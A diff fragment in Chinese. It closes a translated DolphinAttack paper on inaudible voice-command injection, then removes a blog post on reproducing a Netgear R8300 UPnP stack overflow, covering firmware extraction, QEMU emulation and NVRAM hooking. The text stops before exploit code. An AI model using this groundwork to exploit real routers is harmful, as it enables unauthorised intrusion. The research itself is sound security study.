@ -258,7 +254,7 @@ Tab. 3总结实验结果。 从Tab. 3所示我们可以得出结论Dolphin
* 配备传感器的设备的安全性。配备有各种传感器的商业设备(例如,智能手机,可穿戴设备和平板电脑)正在逐渐普及。随着无处不在的移动设备的增长趋势,安全性成为人们关注的焦点。许多研究人员[14、15、46、60]专注于研究对智能设备上的传感器的可能攻击。其中,传感器欺骗(即,将恶意信号注入受害者传感器)引起了广泛关注,并被认为是对配备传感器的设备的最严重威胁之一。 Shin等。将传感器欺骗攻击[46]分为三类:常规信道攻击(重放攻击)[19、26、66],传输信道攻击和侧信道攻击[11、14、15、47、49]。 Dean等。 [1415]证明当声频分量接近陀螺仪传感质量的共振频率时MEMS陀螺仪容易受到大功率高频声噪声的影响。利用机载传感器Gu等。 [24]设计了一种使用振动马达和加速度计的加密密钥生成机制。我们的工作重点是麦克风,可以将其视为一种传感器。
* 通过传感器泄露隐私。 Michalevsky等。 [36]利用MEMS陀螺仪来测量声学信号从而揭示扬声器信息。 Schlegel等。 [44]设计了一种木马程序,可以从智能手机的音频传感器中提取高价值数据。 Owusu等。 [40]利用加速度计的读数作为副通道,在智能手机触摸屏键盘上提取输入文本的整个序列,而无需特殊的特权。 Aviv等。 [6]证明了加速度传感器可以揭示用户的点击和基于手势的输入。 Dey等。 [17]研究了如何利用车载加速度计的缺陷对智能手机进行指纹识别,并且指纹可以用作识别智能手机所有者的标识符。西蒙等。 [48]利用摄像机和麦克风来推断在智能手机的仅数字软键盘上输入的PIN。 Li等。文献[33]可以根据照片中的阴影和相机的传感器读数,通过估计太阳位置来验证照片的捕获时间和位置。 Sun等。 [55]提出了一个视频辅助按键推论框架,以从平板电脑动作的秘密视频记录中推断出平板电脑用户的输入。 Backes等。 [7]显示,可以根据打印机的声音恢复处理英语的点阵打印机正在打印的内容。同样,我们研究了如何利用麦克风漏洞来破坏安全和隐私。罗伊等。 [42]提出了BackDoor它在超声频带上的两个扬声器和麦克风之间建立了一个声音但听不见通信通道。特别是BackDoor利用两个超声波扬声器传输两个频率。通过麦克风的非线性振膜和功率放大器后这两个信号在可听频率范围内产生一个“阴影”可以携带数据。但是“阴影”是单一音调而不是由丰富音调集组成的语音命令。相比之下我们表明可以使用一个扬声器向SR系统注入听不见的命令从而引起各种安全和隐私问题。
## 9 海豚攻击”的局限性分析
## 海豚攻击”的局限性分析
上面谈到了“海豚攻击”实现的基本原理。但是经过我们的分析,这种“漏洞”虽然理论上存在风险,但是实现代价较大,且整体可行性较低,大家不必过于恐惧。下面我们再来分析一下它能实现的效果的局限性:
@ -275,6 +271,6 @@ Tab. 3总结实验结果。 从Tab. 3所示我们可以得出结论Dolphin
## 10 结论
## 9 结论
在本文中我们提出了DolphinAttack这是对SR系统的听不见的攻击。 DolphinAttack利用AM振幅调制技术来调制超声载波上的可听语音命令从而使人无法感知命令信号。攻击者可以使用DolphinAttack攻击主要的SR系统包括SiriGoogle NowAlexa等。为避免实际滥用DolphinAttack我们从硬件和软件两个方面提出了两种防御解决方案。

View File

@ -1,990 +0,0 @@
---
title: Netgear_栈溢出漏洞_PSV-2020-0211
date: 2021-01-08 13:26:26
tags:
- Netgear
- UPnP
- 固件模拟
categories:
- IOT
description: 复现一个漏洞
---
**固件模拟与UPnP栈溢出利用**
https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
https://paper.seebug.org/1311/#1
https://www.anquanke.com/post/id/217606
## **0x00 漏洞概要**
|漏洞编号: |PSV-2020-0211 |
|--- |--- |
|披露时间: |* 2020 -07-31 — [Netgear 官方发布安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211) * 2020-08-18 [漏洞公开披露](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/) |
|影响厂商: |Netgear |
|漏洞类型: |栈溢出漏洞 |
|漏洞评分CVSS |9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
|利用条件: |该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务无需身份验证。 |
|漏洞成因: |该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
## **0x01 威胁范围**
|影响范围: |R8300 running firmware versions prior to 1.0.2.134 |
|--- |--- |
|ZoomEye查询结果 |Netgear R8300共有579台设备暴露在互联网上绝大部分分布在美国少量设备出现在欧洲 |
|--- |![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png) |
|| |
## 0x02 Qemu模拟
|真机调试 |硬件调试接口 |uart |
|--- |--- |--- |
|历史RCE |NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 |
|设备后门开启telnet |[Unlocking the Netgear Telnet Console](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500) |
|固件篡改植入telnet | |
|固件模拟 |QEMU |现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
|树莓派、开发板 |只要 CPU 指令集对的上,就可以跑起来 |
| firmadyne |基于qemu定制 |
|Qemu STM32 | |
|Avatar |混合式仿真 |
[嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf](http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf)
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
使用binwalk对固件中的特征字符串进行识别可以看到R8300采用了squashfs文件系统格式
```shell
$ binwalk R8300-V1.0.2.130_1.0.99.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
```
使用 `binwalk -Me` 提取出 Squashfs 文件系统可以看到R8300为ARM v5架构.
```shell
$ file usr/sbin/upnpd
usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
```
### firmadyne
直接使用firmadyne模拟R8300固件失败一是网络接口初始化失败二是NVRAM配置存在问题
原因可能是:
* firmadyne只支持armel、mipseb、 mipsel这三种系统内核相比我们熟悉的armelarmhf代表了另一种不兼容的二进制标准。https://people.debian.org/~aurel32/qemu/armhf/
* ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png)
* NVRAM库劫持失败firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
```shell
$ ./fat.py 'Path to R8300 firmware file'
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: R8300-V1.0.2.130_1.0.99.chk
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: []
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
**[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**
[sudo] password for yjy:
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
[ 0.000000] Machine model: linux,dummy-virt
[ 0.000000] debug: ignoring loglevel setting.
[ 0.000000] Memory policy: Data cache writeback
[ 0.000000] On node 0 totalpages: 65536
[ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000
[ 0.000000] Normal zone: 512 pages used for memmap
[ 0.000000] Normal zone: 0 pages reserved
[ 0.000000] Normal zone: 65536 pages, LIFO batch:15
[ 0.000000] CPU: All CPU(s) started in SVC mode.
[ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
[ 0.000000] pcpu-alloc: [0] 0
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024
[ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
[ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
[ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)
[ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)
[ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB)
[ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB)
[ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB)
[ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB)
[ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB)
[ 0.000000] NR_IRQS:16 nr_irqs:16 16
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
[ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
[ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
[ 0.000128] Switching to timer-based delay loop, resolution 16ns
[ 0.001495] Console: colour dummy device 80x30
[ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
[ 0.001695] pid_max: default: 32768 minimum: 301
[ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
[ 0.005250] CPU: Testing write buffer coherency: ok
[ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298
[ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0
[ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[ 0.025312] NET: Registered protocol family 16
[ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations
[ 0.028535] cpuidle: using governor ladder
[ 0.028604] cpuidle: using governor menu
[ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48)
[ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48)
[ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48)
[ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48)
[ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48)
[ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48)
[ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48)
[ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48)
[ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48)
[ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48)
[ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48)
[ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48)
[ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48)
[ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48)
[ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48)
[ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48)
[ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48)
[ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48)
[ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48)
[ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48)
[ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48)
[ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48)
[ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48)
[ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48)
[ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48)
[ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48)
[ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48)
[ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48)
[ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48)
[ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48)
[ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48)
[ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48)
[ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48)
[ 0.037808] Serial: AMBA PL011 UART driver
[ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1
[ 0.093732] console [ttyS0] enabled
[ 0.106203] vgaarb: loaded
[ 0.108624] SCSI subsystem initialized
[ 0.111674] usbcore: registered new interface driver usbfs
[ 0.115340] usbcore: registered new interface driver hub
[ 0.118879] usbcore: registered new device driver usb
[ 0.126521] cfg80211: Calling CRDA to update world regulatory domain
[ 0.133497] Switched to clocksource arch_sys_counter
[ 0.147183] NET: Registered protocol family 2
[ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
[ 0.162885] TCP: Hash tables configured (established 2048 bind 2048)
[ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes)
[ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
[ 0.176698] NET: Registered protocol family 1
[ 0.179833] PCI: CLS 0 bytes, default 64
[ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision)
[ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes)
[ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
[ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc.
[ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[ 0.225512] io scheduler noop registered
[ 0.228340] io scheduler cfq registered (default)
[ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0
[ 0.237165] ------------[ cut here ]------------
[ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c()
[ 0.248160] sysfs: cannot create duplicate filename '/class/gpio'
[ 0.252258] Modules linked in:
[ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1
[ 0.259118] Hardware name: Generic DT based system
[ 0.262292] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.262401] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.262472] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.262560] [<c0024b08>] (warn_slowpath_fmt) from [<c00e363c>] (sysfs_warn_dup+0x50/0x6c)
[ 0.262619] [<c00e363c>] (sysfs_warn_dup) from [<c00e3714>] (sysfs_create_dir_ns+0x74/0x84)
[ 0.262679] [<c00e3714>] (sysfs_create_dir_ns) from [<c018e6ac>] (kobject_add_internal+0xb8/0x2ac)
[ 0.262742] [<c018e6ac>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.262801] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.262860] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.262918] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.262981] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.263053] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.263113] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.263229] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.263287] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.263383] ---[ end trace b31221f46a8dc90e ]---
[ 0.263460] ------------[ cut here ]------------
[ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac()
[ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory.
[ 0.263639] Modules linked in:
[ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1
[ 0.263744] Hardware name: Generic DT based system
[ 0.263788] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
[ 0.263846] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
[ 0.263906] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
[ 0.263970] [<c0024b08>] (warn_slowpath_fmt) from [<c018e834>] (kobject_add_internal+0x240/0x2ac)
[ 0.264032] [<c018e834>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
[ 0.264091] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
[ 0.268034] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
[ 0.275667] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
[ 0.280619] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
[ 0.285445] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
[ 0.289737] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
[ 0.290664] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
[ 0.290727] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
[ 0.290797] ---[ end trace b31221f46a8dc90f ]---
[ 0.290872] firmadyne: Cannot create device class: gpio!
[ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82!
[ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0!
[ 0.345419] Non-volatile memory driver v1.3
[ 0.360206] brd: module loaded
[ 0.368143] loop: module loaded
[ 0.375773] vda: vda1
[ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
[ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39
[ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit
[ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16
[ 0.403555] flash size: 128 MiB
[ 0.403585] page size: 512 bytes
[ 0.403612] OOB area size: 16 bytes
[ 0.403640] sector size: 16 KiB
[ 0.403665] pages number: 262144
[ 0.403690] pages per sector: 32
[ 0.403715] bus width: 8
[ 0.405652] bits in sector size: 14
[ 0.408186] bits in page size: 9
[ 0.410586] bits in OOB size: 4
[ 0.412941] flash size with OOB: 135168 KiB
[ 0.416112] page address bytes: 4
[ 0.418491] sector address bytes: 3
[ 0.421054] options: 0x42
[ 0.423632] Scanning device for bad blocks
[ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit":
[ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0"
[ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1"
[ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2"
[ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3"
[ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4"
[ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5"
[ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6"
[ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7"
[ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8"
[ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9"
[ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10"
[ 0.568706] tun: Universal TUN/TAP device driver, 1.6
[ 0.573024] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
[ 0.584170] PPP generic driver version 2.4.2
[ 0.587727] PPP BSD Compression module registered
[ 0.591009] PPP Deflate Compression module registered
[ 0.594922] PPP MPPE Compression module registered
[ 0.598416] NET: Registered protocol family 24
[ 0.601736] PPTP driver version 0.8.5
[ 0.604905] usbcore: registered new interface driver usb-storage
[ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina
[ 0.614655] usbcore: registered new interface driver usbhid
[ 0.618555] usbhid: USB HID core driver
[ 0.621686] Netfilter messages via NETLINK v0.30.
[ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max)
[ 0.630752] ctnetlink v0.93: registering with nfnetlink.
[ 0.635472] ipip: IPv4 over IPv4 tunneling driver
[ 0.639820] gre: GRE over IPv4 demultiplexor driver
[ 0.643303] ip_gre: GRE over IPv4 tunneling driver
[ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 0.655447] arp_tables: (C) 2002 David S. Miller
[ 0.660480] Initializing XFRM netlink socket
[ 0.664155] NET: Registered protocol family 10
[ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 0.674635] sit: IPv6 over IPv4 tunneling driver
[ 0.680072] NET: Registered protocol family 17
[ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
[ 0.692092] Bridge firewalling registered
[ 0.694840] Ebtables v2.0 registered
[ 0.697697] 8021q: 802.1Q VLAN Support v1.8
[ 0.700677] Registering SWP/SWPB emulation handler
[ 0.705032] hctosys: unable to open rtc device (rtc0)
[ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities
[ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem
[ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended
[ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null)
[ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1.
[ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000)
[ 0.790000] random: init urandom read with 3 bits of entropy available
nvram_get_buf: time_zone
sem_lock: Triggering NVRAM initialization!
nvram_init: Initializing NVRAM...
sem_get: Key: 410160c4
nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!
sem_get: Key: 410c0019
nvram_set_default_builtin: Setting built-in default values!
nvram_set: console_loglevel = "7"
sem_get: Key: 410c0019
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
sem_lock: Unable to get semaphore!
```
### Qemu自定义
1. **配置arm虚拟机**
使用Qemu模拟固件需要下载对应的arm虚拟机镜像内核和initrd。
https://people.debian.org/~aurel32/qemu/armhf/
```shell
[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M
[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M
[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M
```
标准的虚拟机启动命令为
```
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"
```
对于R8300固件在 Host 机上创建一个 tap 接口并分配 IP启动虚拟机
```shell
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
```
与标准命令区别在于` -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
启动之后输入用户名和密码,都是 root为虚拟机分配 IP
```shell
root@debian-armhf:~# ifconfig eth0 192.168.2.2/24
```
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev最后 chroot 即可。
```
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armhf:~# chroot ./squashfs-root/ sh
```
1. **修复依赖**
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 `LD_PRELOAD` 劫持以下函数符号。手动创建 `/tmp/var/run` 目录,再次运行提示缺少 `/dev/nvram`
* 编译nvram.so
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
```
$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so
```
* 劫持`dlsym`
nvram库的实现者还同时 hook 了 `system`、`fopen`、`open` 等函数,因此还会用到 `dlsym``/lib/libdl.so.0 `导出了该符号。
```
$ grep -r "dlsym" .
Binary file ./lib/libcrypto.so.1.0.0 matches
Binary file ./lib/libdl.so.0 matches
Binary file ./lib/libhcrypto-samba4.so.5 matches
Binary file ./lib/libkrb5-samba4.so.26 matches
